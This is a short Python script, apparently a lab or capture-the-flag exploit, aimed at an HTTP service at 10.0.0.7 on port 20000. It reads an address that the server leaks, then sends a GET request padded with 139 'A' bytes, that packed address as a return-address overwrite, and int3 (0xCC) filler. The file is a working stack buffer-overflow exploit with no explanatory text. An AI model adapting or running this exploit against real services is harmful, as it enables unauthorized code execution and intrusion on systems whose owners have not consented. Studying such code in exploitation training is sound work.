import socket as so
from struct import pack

def main(host, port):
	s = so.socket()
	s.connect((host,port))

	addr = s.recv(1024)
	addr = addr.split()
	addr = addr[4]

	data1 = "GET "
	data1 += "/"
	data1 += "A" * 139
	data1 += pack("<I", int(addr, 16))
	data1 += "A" * 24

	data2 = " HTTP/1.1"

	data = data1 + "\xcc" * (1024 - len(data1 + data2)) + data2 

	s.send(data)
	#print s.recv(1024)
	
if __name__ == '__main__':
	main("10.0.0.7", 0x4e20)
